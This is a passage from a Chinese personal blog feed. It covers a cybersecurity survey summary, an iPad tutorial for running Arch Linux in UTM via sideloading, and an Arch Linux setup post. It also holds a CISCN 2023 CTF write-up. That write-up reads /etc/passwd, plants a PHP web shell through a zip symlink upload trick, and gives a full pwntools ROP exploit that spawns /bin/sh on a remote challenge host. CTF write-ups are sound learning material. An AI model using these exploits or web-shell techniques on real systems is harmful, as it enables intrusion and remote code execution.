/>25.不知道,无意识泄露,班级群十分容易泄露隐私。对加群人员的审查不够。github公开仓库,汇报建议</p></blockquote><p>班级群<br />github公开仓库<br />社交软件等等<br />提出改进措施</p><hr /><h2 id="许多改善安全性的技术的进步是无感知的-需要靠未来的大家任重道远">许多改善安全性的技术的进步是无感知的。需要靠未来的大家,任重道远</h2><hr /><h2 id="彩蛋">彩蛋</h2><p>男生好像对网络空间安全感兴趣的人更多(2)<br />对于朋友发的调查问卷的二维码,只有70%的人会选择扫描,所以填这个调查问卷的30%的人都是违背自己意愿的(谢谢各位捧场)(7)<br />相信自己眼睛的人比相信自己女/男朋友的人多,说明没有被爱情蒙蔽双眼(8)</p><hr /><h2 id="essay">Essay</h2><ol><li>BASIC INFORMATION<ol><li>Most of the people who filled out this questionnaire were undergraduates.</li><li>There are about 40% of those people whose major is related to CST.</li></ol></li><li>BASIC CYBERSECURITY KNOWLEDGE<ol><li>Most people have LIMITED cybersecurity knowledge.</li><li>But we found that people are not aware enough about phishing websites.(zhi-hu\https)</li><li>More, the ability of identifying the source of information needs to be improved.(ONLY sources of official authority are credible)</li></ol></li><li>EXPERTISE<ol><li>Everyone’s expertise is close to zero</li><li>But we can see that publicity can play a pretty good role.</li></ol></li><li>ABOUT PASSWORD<ol><li>For password saving, most people know that the same password is not secure, and few people will choose to use a browser or password manager to manage passwords, but in theory, as long as your computer has not been stolen and there is no password, the password you store in the password manager is safe.</li><li>But at the same time, 50% of people often use the same password, and 50% of people do know how browsers store passwords, that is, there are many people who think that the same password is not safe but still knowingly do it, and many people who think they know how browsers store passwords do not actually know.</li><li>So learn more about new technologies. Also, vast majority of people do not know what a cryptographic algorithm is, and will confuse passwords and encoding. While, 40% of people are related majors, so people’s expertise is very lacking.</li></ol></li><li>PRIVACY<ol><li>Most people do not know how privacy can be compromised.</li></ol></li></ol><p>彩蛋!</p>]]></content>
<tags>
<tag> school </tag>
</tags>
</entry>
<entry>
<title>NextiPad</title>
<link href="/2023/06/01/NextiPad/"/>
<url>/2023/06/01/NextiPad/</url>
<content type="html"><![CDATA[<h1 id="your-next-computer-is-not-computer-or-what">Your next computer is not computer /or what?</h1><h2 id="关于ipad上装linux的初探">关于iPad上装Linux的初探</h2><p>据说平板只有iPad和其他,上了大学以“方便学习”为理由买了一款iPad,但是迫于其蒟蒻的软件适配以及封闭的环境始终不能让iPad与“生产力”挂钩🥲<strong>但是!</strong> 有没有一种可能,能将iPad刷上其他的系统,从而让M1不再隐忍,解放自己的真正实力呢?答案是用UTM在iPad上搭建虚拟机。</p><p><strong>前排提示,对于iPadOS17.0以上的平板,由于苹果官方修复了一些漏洞,暂时还没有开启虚拟化的方法。也就是说,在iPadOS17.0上的设备运行虚拟机只能达到能用的阶段。大概是终端运行流畅,但是所有的图形界面都会很卡,很卡!所以iPadOS17.0以上的设备很难通过虚拟机释放生产力。请自行决定要不要尝试</strong></p><hr /><h2 id="目录">目录:</h2><ol><li><strong>UTM安装</strong><ol><li>对于iPadOS17.0以下或一些特殊版本的设备</li><li>对于iPadOS17.0以上的设备</li></ol></li><li><strong>JIT启动</strong><ol><li>连接电脑</li><li>无线<ol><li>Jitterbug</li><li>牛蛙助手</li></ol></li></ol></li><li><strong>虚拟机安装</strong><ol><li>暂时只有Archlinux 😉</li></ol></li><li><strong>尾声</strong></li></ol><hr /><h2 id="一-utm安装">一、UTM安装</h2><h3 id="a对于ipados170以下或一些特殊版本的设备">a.对于iPadOS17.0以下或一些特殊版本的设备</h3><p>对于这些设备,我非常荣幸地告诉您:<strong>这是可以开启虚拟化的</strong>,也就是能最大化使用您地iPad,所以我推荐<strong>使用TrollStore安装UTM.HV</strong></p><h4 id="1安装trollstore">1)安装TrollStore</h4><p>在iPad上点击这个网站:<a href="https://github.com/opa334/TrollStore">https://github.com/opa334/TrollStore<br /></a>确认自己的系统是可以进行虚拟化的</p><p>首先看看自己的版本是否在这张图里:<br /><img src="https://s2.loli.net/2023/06/01/2JpcYisQ8DdAraG.png" alt="__IZ__KQAYM30CZ_R~G_CME.png" /><br />标蓝的是可以的(这篇文章编辑于23年儿童节,之后网站可能会有更新(大概率不会))</p><blockquote><p>还真有更新,苹果开眼了,不过现在还要等(23/10/04)<br /><img src="https://i.imgs.ovh/2023/10/14/r2THu.png" alt="r2THu.png" />{</p></blockquote><p>对于相应的版本,点击上图标蓝的链接进入这个界面:<br /><img src="https://s2.loli.net/2023/06/01/hOLV3Zi1mH5rTeI.png" alt="W_QFO_2M_ZWZUTSB_D@P_~T.png" /></p><p>说得很清楚了,点击链接安装软件,然后打开软件安装TrollStore,然后安装一些配置,照着网站来就行。</p><h4 id="2安装utmhv">2)安装UTM.HV</h4><p>点击这个链接<a href="https://docs.getutm.app/installation/ios/">https://docs.getutm.app/installation/ios/<br /></a><br />页面下翻找到对应版本<br /><img src="https://s2.loli.net/2023/06/01/wacDVog5vBL7th1.png" alt="T5I~@T`EX_A2I6__GY37W.png" /></p><p>这里可以下载所有版本的UTM,所以等会也会用到。</p><p>点击UTM.HV.ipa下载好文件</p><blockquote><p>PS:苹果设备的ipa文件可以理解为安卓设备的apk文件,就是软件安装包</p></blockquote><p>将UTM.HV.ipa使用TrollStore打开,或者在TrollStore打开UTM.HV.ipa进行安装。</p><blockquote><p>到此,<em>对于iPad17.0以下或一些特殊版本的设备的UTM安装</em> 结束</p></blockquote><h3 id="b对于ipados170以上的普通版本的设备">b.对于iPadOS17.0以上的普通版本的设备</h3><p><strong>很不幸,对于这些版本(也就是上文图中没有出现的版本)的设备,你们的设备无法开启虚拟化,只能使用普通的UTM进行还不错(拉跨)的模拟,请自行选择要不要进行。</strong></p><p>首先你需要了解Apple的应用签名机制:“App Store 保护了开发者不受盗版软件的侵害,也保护了 iOS 设备不受有害应用的侵扰。当 iOS 设备安装一个新的 App 时, iOS 会主动去 Apple 服务器验证 App 的安装包内置的“签名”是否有效。”所以通常这些自己下载的软件是不能安装到自己的设备上的。前文所讲的TrollStore是利用了系统的漏洞才达到了直接安装的效果,所以对于不能安装TrollStore的设备,你需要一些特殊的方式来安装这些没有签名的软件。比如之前的TrollStore,但是对于不能安装TrollStore的设备,就只能给它签个名了。</p><h4 id="1签名">1)签名</h4><p>目前整理出六种办法</p><ol><li>使用AltStore进行侧载,缺点是每7天需要更新一次签名</li><li>使用SideLoadly进行侧载,缺点也是7天更新</li><li>使用爱思助手进行侧载,缺点是7天更新而且比较麻烦</li><li>使用牛蛙助手进行侧载,缺点是7天而且有广告</li><li>使用iSign网站签名,缺点是要钱</li><li>找一个拥有Apple开发者账号的哥们帮你签(PS:¥688/年),缺点是要哥们</li></ol><blockquote><p>PS:前四个都需要使用电脑</p></blockquote><h5 id="1altstore">1.AltStore</h5><p>比较推荐,尤其对于只是想试试的同学,因为安装简单,并且UI设计比较有果味儿</p><p>首先在电脑上安装好iCloud</p><p>然后下载AltServer<a href="https://altstore.io/">https://altstore.io/</a></p><p>接着解压,点击Setup.exe进行安装</p><p>安装完成后点击win键搜索AltServer打开(或者之前记好安装路径然后找到AltServer.exe)</p><p>然后再右下角工作栏找到启动的AltServe,链接你的设备,点击第二个选项,填入你的信息,将AltStore安装到你的设备上<br /><img src="https://s2.loli.net/2023/06/01/yaX7CxzKFkn42A3.png" alt="屏幕截图_20230601_214024.png" /></p><p>安装完成后,在设置内依次进入:通用–描述文件与设备管理,进行信任证书。</p><p>然后就可以在AltStore左上角选择文件将下载的ipa软件包进行侧载了</p><p>详细步骤参考<a href="https://zhuanlan.zhihu.com/p/355571144">https://zhuanlan.zhihu.com/p/355571144</a></p><blockquote><p>PS:侧载并不只用于UTM的安装,理论上可以安装所有的ipa软件,比如我个人就安装了PojavLauncher用来在iPad上玩java版MC,实际效果非常丝滑</p></blockquote><h5 id="2sideloadly3爱思助手">2.SideLoadly&3.爱思助手</h5><p>详细步骤:<a href="https://zhuanlan.zhihu.com/p/397225793">https://zhuanlan.zhihu.com/p/397225793</a><br />(用别人写的肯定不是我懒🤗)</p><h5 id="4牛蛙助手">4.牛蛙助手</h5><p>这里不推荐使用</p><h5 id="5isign">5.iSign</h5><p>进入这个网站<a href="https://isign.ren/#/">https://isign.ren/#/</a></p><p>进行注册,购买,等待签名,安装。操作非常简单,网站里也有步骤。大概是15元签个名,然后0.1元一天。</p><h5 id="6开发者账号">6.开发者账号</h5><p>全部交给你的哥们吧。</p><p><strong>或者</strong>,自己买一个 😉</p><p>参考这篇文章<a href="https://zhuanlan.zhihu.com/p/601452109">https://zhuanlan.zhihu.com/p/601452109</a></p><h4 id="2安装utm">2)安装UTM</h4><p>打开这个网站<a href="https://docs.getutm.app/installation/ios/">https://docs.getutm.app/installation/ios/<br /></a></p><p>下载UTM.ipa</p><blockquote><p>PS:不是UTM.SE.ipa!更不是UTM.deb!😡</p></blockquote><p>然后用以上任何一种方法装到你的设备上,就可以进行下一步了。</p><hr /><h2 id="二-启用jit">二、启用JIT</h2><p>这一步非常必要,如果没有启动JIT,你设备的运行效率会十分不好描述😱</p><p>我整理了两类方法:</p><ol><li><strong>有线启动</strong><ol><li>Xcode启动</li><li>AltStore启动</li></ol></li><li><strong>无线启动</strong><ol><li>Jitterbug</li><li>牛蛙助手</li></ol></li></ol><h3 id="有线启动">有线启动</h3><h4 id="1xcode启动">1.Xcode启动</h4><p>不懂,跳过,请自行搜索🥺</p><h4 id="2altstore启动">2.AltStore启动</h4><p>首先电脑连接上你的设备,然后打开AltServer,然后点开Enable JIT,点到你要开启JIT权限的软件,然后会提示JIT已开启,可以断开设备了。<br /><img src="https://s2.loli.net/2023/06/01/Y7gEATlr625zojN.png" alt="屏幕截图_20230601_221620.png" /><br />弊端是开启需要连接电脑,而且每关一次就要开启一次,考虑到在iPad上装虚拟机的过程中会有关虚拟机换启动选项的步骤,不推荐。</p><blockquote><p>PS:但是对于其他需要开启JIT的软件,这是个十分简单且有效的办法。比如用PojavLauncher在iPad上玩java版MC😘</p></blockquote><h3 id="无线启动">无线启动</h3><h4 id="1jittetbug">1.Jittetbug</h4><p>有几种方式,一种是通过越狱安装,一种是通过侧载安装,也可以通过iSign网站签名安装</p><p>详细步骤参考<a href="https://www.bilibili.com/read/cv11587175">https://www.bilibili.com/read/cv11587175</a></p><p>由于略有难度,若果只是想要试一试的话,不推荐</p><blockquote><p>PS:对于需要长期使用JIT的,十分推荐这个!😚建议在iSign签名安装</p></blockquote><h4 id="2牛蛙助手">2.牛蛙助手</h4><p>一看名字就知道是国人开发的(bushi)</p><p>首先安装iTunes</p><p>点开这个网址<a href="https://ios222.com/">https://ios222.com/</a></p><p>安装在电脑上后,连接设备,打开软件,就会安装在你的设备上,然后进行相应的操作后…</p><p>你就会发现这个软件<strong>重量级</strong>的地方,那就是:满地广告。打开软件要看广告,开启JIT权限要看广告…</p><p>不过这个软件的能力还是比较可观的,可以进行7天的ipa签名,可以虚拟定位,可以开启JIT</p><blockquote><p>PS:广告真的很烦😔</p></blockquote><p>启动JIT后就可以打开你的UTM.HV/UTM了</p><hr /><h2 id="三-虚拟机安装">三、虚拟机安装</h2><p>至此,终于可以开始配置你的虚拟机了。</p><p>UTM的库里有许多打包好的镜像资源,包括但不仅限于Arch、Kali、Ubuntu、Windows11/10/7/xp、老MacOS等等,但这些大部分都是基于arm架构的,各大软件对arm的支持不能说不好,只能说不如x86_64的</p><blockquote><p>要只想体验体验可以直接安装一个现成的玩玩</p></blockquote><p>为什么选择ArchLinux?当然是:</p><ol><li>通过ArchLinux的安装可以更好的了解Linux底层运作的原理</li><li>ArchLinux的软件很多</li><li>遇事不决ArchWiki</li><li>网络上的教程非常丰富,遇到不懂的事完全不用担心</li></ol><p>所以,具体的安装就不放在这里了😏(bushi)</p><h3 id="安装前的准备">安装前的准备</h3><p>首先跟着以上教程安装好对应版本的UTM,接着启动UTM的JIT,然后打开你的UTM</p><p>应该会是这个界面,点击那个“+”号,新建虚拟机<br /><img src="https://s2.loli.net/2023/06/02/CchVgDFlPOqMfz5.png" alt="IMG_0152.PNG" /></p><p><strong>在配置虚拟机前,要注意一下几点:</strong></p><h4 id="不要开启opengl加速">不要开启openGL加速</h4><p>会影响模拟的稳定性(大概率会黑屏闪退</p><blockquote><p>这是我第一次装的时候遇到的问题,虚拟机存活1分钟</p></blockquote><h4 id="内存不要开太大">内存不要开太大</h4><p>苹果会主动杀掉内存占用太多的软件,设置时最好<strong>不要超过机身内存的1/4</strong></p><blockquote><p>这是我第二次安装时遇到的问题,虚拟机存活10分钟,被系统杀掉了</p></blockquote><p>设备对应的内存如下:<br /><img src="https://pic2.zhimg.com/v2-a4c371fbe3698faa5ccc2a48e5078601_b.webp?consumer=ZHI_MENG" alt="From——zhihu" /></p><h4 id="关于核心的数量">关于核心的数量</h4><p>有说法说UTM没法用到你的多核,即使你开多核也只会用一个核心,但是它以为是多核就会降低一个核心的性能,所以尽量选一个核心</p><blockquote><p>选多个核心大概也没问题,我并没有进行实验验证会拖慢性能(也可能是我开不了虚拟化,慢的一,体现不出来)</p></blockquote><h4 id="开始配置">开始配置</h4><p>基本是一把梭,注意以上的要点就行</p><p>点完+会出现这个界面:<br /><img src="https://s2.loli.net/2023/06/02/8isPoQpfnyFYdRa.png" alt="IMG_0153.PNG" /></p><p>如果你是iPadOS15.4以下或一些特殊版本的设备,<strong>请点击“虚拟化”</strong>,不然请点击“模拟”</p><blockquote><p>简单地说就是能虚拟化就虚拟化</p></blockquote><p>然后进入这个界面:<br /><img src="https://s2.loli.net/2023/06/02/hkNFjaqo98SrbLC.png" alt="IMG_0154.PNG" /></p><p>这里我安装Linux系统,所以选择Linux</p><p>如果你需要ArchLinux的镜像文件,可访问各大镜像站,比如:<br /><a href="https://mirrors.sdu.edu.cn/#/mirror">https://mirrors.sdu.edu.cn/#/mirror</a></p><blockquote><p>为什么不直接放下载连接?这是由于ArchLinux激进的滚动更新策略,在安装时最好用最新的镜像</p></blockquote><p>以山东大学镜像站为例:<br /><img src="https://s2.loli.net/2023/06/02/ojY4m5pNlEebCHy.png" alt="Z_L_ULC4H_L_ED_C6_G2I.png" /></p><p><img src="https://s2.loli.net/2023/06/02/NwLqWzR7Yh32GTf.png" alt="EG_2L0TYMWY@0G3DF__H712.png" /></p><p>点击就送ArchLinux镜像文件😚</p><blockquote><p>使用山大镜像站喵,请使用山大镜像站谢谢喵~😽</p></blockquote><p>然后将镜像文件导入到你的iPad,在这一步选择你保存的镜像的路径:<br /><img src="https://s2.loli.net/2023/06/02/KGEPvjDcZaoxbfw.png" alt="IMG_0155.PNG" /></p><p>然后再下一步注意之前的要点:<br /><img src="https://s2.loli.net/2023/06/02/qCPE2eLprulRWnh.png" alt="reIMG_0156.PNG" /><br />我用的21款iPadPro,运行内存是8g,所以我这里将运行内存设为2g</p><p>核心数自己看着办吧😋</p><p>不要开启OpenGl!不要开启OpenGl!不要开启OpenGl!</p><p>下一步设置存储大小:<br /><img src="https://s2.loli.net/2023/06/02/xbArqIUoQ6tTLj3.png" alt="IMG_0157.PNG" /><br />量力而行就可,最好在20g以上</p><blockquote><p>其实设大了是无所谓的,因为虚拟机的存储是动态的,没有使用时对于iPad就没有占用,比如。虽然我分了30g,但是在iPad中只占了5g左右</p></blockquote><p>之后就无脑下一步就行:<br /><img src="https://s2.loli.net/2023/06/02/r9hsOkAvcu1FCGL.png" alt="IMG_0158.PNG" /></p><p><img src="https://s2.loli.net/2023/06/02/9JvVD8GAKBTtNH1.png" alt="IMG_0159.PNG" /></p><p>然后就进入系统进行安装</p><h3 id="archlinux的安装">ArchLinux的安装</h3><p>ArchLinux的具体安装步骤<strong>请跟随这篇文章</strong><a href="https://arch.icekylin.online/">https://arch.icekylin.online/</a><br />接下来请<strong>同时参考</strong>上面这篇文章和以下内容来安装ArchLinux</p><blockquote><p>不是我懒🥺这篇文章真的非常详实地手把手指导了ArchLinux地安装,我写不到那个水平。图文并茂,每一步指令的结果都有。非常适合ArchLinux的上手安装</p></blockquote><p>这里说明一下在UTM上安装的不同点:</p><p>在最后安装系统结束后,对于实体安装,需要拔下启动盘,防止再次启动后又进入安装界面。对于PC上的虚拟机,比如VMware、Virtual Box就直接重启虚拟机即可。<strong>而对于UTM</strong>,你需要将虚拟机先关机,然后再主页将CD/DVD中的启动镜像清除再打开虚拟机才可以正常进入系统:<br /><img src="https://s2.loli.net/2023/06/02/bpHvmCsDU8RxLtY.png" alt="reIMG_0160.PNG" /></p><blockquote><p>对于其他系统的安装应该也是一样的</p></blockquote><p>这篇文章唯一有一点无伤大雅的出入的地方就是在创建分区时没有讲创建EFI分区,自己创一个就行,</p><p>还有,在挂载EFI分区时的说明是:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /mnt/boot</span><br><span class="line">mount /dev/sdxn /mnt/boot <span class="comment"># 挂载 /boot 目录</span></span><br></pre></td></tr></table></figure><p>但是图中的是:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /mnt/boot/efi</span><br><span class="line">mount /dev/sdxn /mnt/boot/efi</span><br></pre></td></tr></table></figure><p>选哪一种都行,但是会与后面的代码产生关联</p><blockquote><p>原谅笔者暂时不知道/efi的原因</p></blockquote><p>具体为,在安装引导程序时:<br /><img src="https://s2.loli.net/2023/06/02/yAtQ8v4uJ9grdmo.png" alt="__ZIHGJ_TN7__SZBW_6VZ_5.png" /></p><blockquote><ol start="2"><li>安装GRUB 到 EFI 分区:</li></ol><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">>grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=ARCH</span><br></pre></td></tr></table></figure></blockquote><p>这里如果选择第一种没有加/efi的挂载方式,就原样输入即可,如果在之前加了/efi,也就是EFI分区在/boot/efi,那么就要在这段代码上加上/efi,具体如下:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=ARCH</span><br></pre></td></tr></table></figure><p>跟着这篇教程你应该就能在UTM上装好ArchLinux了。</p><blockquote><p>PS:其他系统的安装和在PC虚拟机上的安装流程都大差不差,只要装过系统就能在UTM上装一遍</p></blockquote><p>最后经过一些配置可得到以下效果:<br /><img src="https://s2.loli.net/2023/06/02/njcoMCTBpxrDIA3.png" alt="IMG_0139.PNG" /><br /><img src="https://s2.loli.net/2023/06/02/J3Oq9Pirbu1cRGf.png" alt="IMG_0140.PNG" /><br /><img src="https://s2.loli.net/2023/06/02/vaUezIZ5GV4fjPq.jpg" alt="1685607700001.jpg" /></p><blockquote><p>PS:由于我的iPad无法开启虚拟化,图形界面的加载很卡,所以最后也没有将iPad变为生产力😭</p></blockquote><hr /><h2 id="尾声">尾声</h2><p>前前后后搞了一个星期,终于完成了在iPad上装虚拟机的心愿。还是很快乐滴🥳</p><hr /><h2 id="彩蛋">彩蛋</h2><p>也许安卓设备也能装Linux系统?🤔</p><p>有的!而且已经有别人打包好的apk!完全傻瓜式操作,十分方便,具体参考<a href="https://docs.aidlux.com/#/">https://docs.aidlux.com/#/</a></p><p>附一张运行截图:<br /><img src="https://s2.loli.net/2023/06/02/D6FPLBzTgnZIsHK.jpg" alt="Screenshot_2023-06-02-11-56-12-444_com.aidlux.jpg" /><br />实际非常丝滑😇,简直就是我理想中的系统,但是在手机上体验比较一般,最好还是配合安卓平板来使用</p>]]></content>
<tags>
<tag> iPad </tag>
<tag> UTM </tag>
<tag> Linux </tag>
</tags>
</entry>
<entry>
<title>About-CISCN2023</title>
<link href="/2023/05/27/About-cisn2023/"/>
<url>/2023/05/27/About-cisn2023/</url>
<content type="html"><![CDATA[<h1 id="签到卡">签到卡</h1><p>打开题目发现是一个打字机,随便打打发现给了提示,于是就到公众号得到提示</p><blockquote><p>print(open(‘/etc/passwd’).read())</p></blockquote><p>这是python读取文件的一个代码,猜测flag直接就在第一层/flag,所以输入</p><blockquote><p>print(open(‘/flag’).read())</p></blockquote><p>直接得到flag</p><h1 id="unzip">unzip</h1><p>打开容器,发现一个文件上传目录,随便点了一下上传,他给我跳到了一个界面,显示了文件上传后的前端处理过程,也就是只接受zip文件,然后先访问tmp目录,再将上传的文件解压到这个目录下。既然是文件上传,那么思路一定是上传一个木马从而控制shell。但是根据前面的代码审计发现文件上传位置为/tmp,所以我上传了一个压缩的木马文件,并访问tmp目录,结果发现tmp目录不能访问。</p><p>我想到一个非常类似的题目,所以首先先建立了一个软链接,叫a1,让他指向/var/www/html,这样相当于指向了网页能访问的根目录。然后使用zip -y压缩保留软链接,记为a1.zip,然后再a1目录下写一个一句话木马,并使用zip -r压缩,也就是不保留软链接,记为a2.zip。那么先上传a1.zip,则相当于在tmp下创建了一个目录叫a1,然后再次访问的时候,解压出了一个a1文件夹,里面有一个木马叫a1.php,但由于之前就有一个a1文件夹,所以两个文件夹自动合并,所以a1文件夹中有了木马a1.php,但是由于a1是软链接,所以相当于根目录下有了一个a1.php,这时候直接在网页根目录下访问即可。最后获得flag,其位于根目录下</p><h1 id="被加密的生产流量">被加密的生产流量</h1><p>找到并筛选出wireshark流量包中的modbus部分,发现长度为66的记录里面最后有两个字母或数字或字符<br />将其拼接可得:</p><blockquote><p>MMYWMX3GNEYWOXZRGAYDA===</p></blockquote><p>base32解码得:<br />c1f_fi1g_1000<br />于是flag{c1f_fi1g_1000}</p><h1 id="sign_in_passwd">Sign_in_passwd</h1><p>发现第二行</p><blockquote><p>GHI3KLMNJOPQRSTUb%3DcdefghijklmnopWXYZ%2F12%2B406789VaqrstuvwxyzABCDEF5</p></blockquote><p>中存在%<br />将其进行url解码得</p><blockquote><p>GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5</p></blockquote><p>将其作为模板对第一行进行base64解码得:<br />flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}</p><h1 id="烧烤摊儿">烧烤摊儿</h1><h2 id="0x01">0x01</h2><p> 运行程序,喝啤酒、吃烤串儿、查钱包余额还是直接买了这摊位,额额还有只是看看,先润…</p><p> 一番探究发现随便吃了点钱就不够了,那如果我把烧烤摊儿买下来呢?</p><p> 于是拉到IDA里看看</p><p> <img src="https://s2.loli.net/2023/05/28/NbGL8Pxptr3BwSI.jpg" alt="HB9O5L_PK0F_7S172__T764_tmb.jpg" /></p><p> vip函数对应买摊位,若你的money>100000,你的拥有摊位数量own则会变为1,代表你已经买下这个摊位啦</p><p> and,多买一会儿会发现购买负数个的食品可以反向加钱</p><p> 于是我们钱包余额瞬间爆棚,拿下烧烤摊儿!</p><p> 此时我们发现多出一个选项5——给你的烧烤摊儿改名</p><p> 由此进到gaiming函数</p><p><img src="https://s2.loli.net/2023/05/28/ltoSQGeFvk1cI9u.jpg" alt="K24QCDI6IYA@_2_LCV@_F_0_tmb.jpg" /></p><p> 读取输入到v5,双击查看变量空间大小为0x20,计算出要覆盖的空间为0x20+8=40</p><p><img src="https://s2.loli.net/2023/05/28/T7XZJ6esbHxQfU8.jpg" alt="G1____1EO9_JGZVMAIHDU_U_tmb.jpg" /></p><h2 id="0x02">0x02</h2><p> 使用系统调用获取Shell</p><p> ROPgadget寻找构造rop链</p><p> 得到各段gadget地址</p><ul><li>pop_rdi_ret = 0x040264f</li><li>pop_rax_ret = 0x0458827</li><li>pop_rsi_ret = 0x040a67e</li><li>pop_rdx_rbx_ret = 0x04a404b</li><li>syscall = 0x0402404</li></ul><p> gdb调试找到输入最终写入的内存地址,name = 0x4e60f0</p><p><img src="https://s2.loli.net/2023/05/28/xvQgdKVXOzCjJby.jpg" alt="J3`25RVKXSNGAAZ_P_LJ~3G_tmb.jpg" /></p><pre><code>## 0x03 </code></pre><p>构造payload</p><blockquote><p>payload = b’/bin/sh\x00’*5+p64(pop_rdi_ret)+p64(name)+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_rbx_ret)+p64(0)*2+p64(syscall)</p><p>#填充字符(也是参数/bin/sh)+ pop_rdi_ret + 填入rdi的name地址 + pop_rax_ret + 填入rax的系统调用号0x3b(64位)+ pop_rsi_ret + 填入rsi的参数0 + pop_rdx_rbx_ret + rax和rbx的填入参数0 + syscall地址</p></blockquote><p>写exp</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">p = remote('112.126.80.123',17202)</span><br><span class="line">#p = process("./shaokao")</span><br><span class="line">pop_rdi_ret = 0x040264f</span><br><span class="line">pop_rax_ret = 0x0458827</span><br><span class="line">pop_rsi_ret = 0x040a67e</span><br><span class="line">pop_rdx_rbx_ret = 0x04a404b</span><br><span class="line">int_0x80 = 0x04aa6e0 </span><br><span class="line">name = 0x4e60f0</span><br><span class="line">syscall = 0x0402404</span><br><span class="line"></span><br><span class="line">p.sendlineafter('>',b'1')</span><br><span class="line">p.sendline(b'1')</span><br><span class="line">p.sendline(b'-100000000')</span><br><span class="line">p.sendlineafter('>',b'4')</span><br><span class="line">p.sendlineafter('>',b'5')</span><br><span class="line">payload = b'/bin/sh\x00'*5+p64(pop_rdi_ret)+p64(name)+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_rbx_ret)+p64(0)*2+p64(syscall)</span><br><span class="line">p.sendline(payload)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><p>拿到flag</p><p><img src="C:%5CWINDOWS%5CTEMP%5C1685243319826.png" alt="" /></p><h1 id="基于国密sm2算法的密钥密文分发">基于国密SM2算法的密钥密文分发</h1><p>按照文档先理解密钥分发流程</p><p>跟着文档一步步操作</p><ol><li>首先得到唯一id,再使用国密SM2算法生成密钥对A(公钥A_Public_Key、私钥A_Private_Key),将密钥对A的公钥(A_Public_Key)传输给服务器,并获取服务端加密后的随机数密文、私钥密文和公钥明文</li><li>使用私钥A_Private_Key,对随机数C密文进行SM2解密,获取16字节随机数C明文;用户使用16字节随机数C明文,对私钥B_Private_Key密文,采用SM4ECB算法解密,得到私钥B_Private_Key明文<br /><img src="https://s2.loli.net/2023/05/28/jnQk49McdIu6xEs.png" alt="Z50___KO40XH___Z0_AE_FQ.png" /></li><li>从服务器接收密钥D的密文,使用私钥B_Private_Key明文,对密钥D密文进行解密,得到密钥D明文,给服务器验证<br /><img src="https://s2.loli.net/2023/05/28/x8eX2KDVoWLkCMI.png" alt="HV_FS_0_034DSZHC_XOE5@8.png" /></li></ol><p>拿到flag</p><h1 id="问卷题">问卷题</h1><p>好好好</p>]]></content>
<tags>
<tag> ctf </tag>
</tags>
</entry>
<entry>
<title>About_My_Arch</title>
<link href="/2023/05/23/About-My-Arch/"/>
<url>/2023/05/23/About-My-Arch/</url>
<content type="html"><![CDATA[<h1 id="about_my_arch">About_My_Arch</h1><p>拖了好久,终于把之前分享会开始安装的Linux系统装好了。在这里复盘一下,以防忘记。不会很细节,只是记录。(其实主要就是照着流程一把嗦,<strong>所以如果想要装系统,建议翻到末尾看参考资料</strong></p><p>这里是末尾···</p><h2 id="参考资料">参考资料:</h2><p><a href="https://wiki.archlinux.org/">⭐Archwiki</a> <em>官方文章不用多说</em><br /><a href="https://zhuanlan.zhihu.com/p/596227524">Arch Linux 详细安装教程,萌新再也不怕了!「2023.04」</a><br /><a href="https://zhuanlan.zhihu.com/p/568981775">Arch Linux 安装后该做什么?Arch Linux 使用指南与推荐配置「2023.05」</a><br /><a href="https://www.viseator.com/2017/05/19/arch_setup/">ArchLinux安装后的必须配置与图形界面安装教程</a><br /><a href="https://zhuanlan.zhihu.com/p/69777438">Neofetch:在终端中显示 Linux 系统信息</a><br /><a href="https://razonyang.com/zh-hans/posts/sddm/resolution/">xrandr修改SDDM分辨率</a><br /><a href="https://zhuanlan.zhihu.com/p/422288980">archlinux 时区调整</a><br /><a href="https://arch.icekylin.online/guide/prepare/head-on-blow.html">archlinux 简明指南:包含安装、配置、维护等,帮助新手快速上手</a> <em>这篇文章非常详实</em><br /><a href="https://archlinuxstudio.github.io/ArchLinuxTutorial/#/">Arch Linux 安装使用教程 - ArchTutorial - Arch Linux Studio</a></p><hr /><p>这文章鸽了接近一年了,当时是因为蓝牙、声卡等问题没解决,所以就鸽了,哎哎。</p><p>不过,随着最近kde的更新,我又开始了archlinux的配置</p><h1 id="不要让等待成为遗憾">不要让等待,成为遗憾</h1><p>前几天滚系统的时候发现更新了kde6,看着圆润的dock又燃起了我对arch的热情,于是就开始了继续配置。</p><h2 id="dock栏配置">dock栏配置</h2><p><img src="https://i0.imgs.ovh/2024/03/13/ch8k0.png" alt="ch8k0.png" /></p><p>kde6圆润的dock栏实在是非常讨喜,我这里选择的是下面使用适合内容+避开窗口+悬浮,上面选择的是填满宽度+总是显示+悬浮</p><h2 id="小组件设置">小组件设置</h2><p>dock栏上我加上了各种检测器和图标任务管理器,上面是应用程序启动器+全局菜单+window title+系统托盘+Plasmusic toolbar+数字时钟,屏幕中间的是Modern clock</p><h2 id="蓝牙配置">蓝牙配置</h2><figure class="highlight 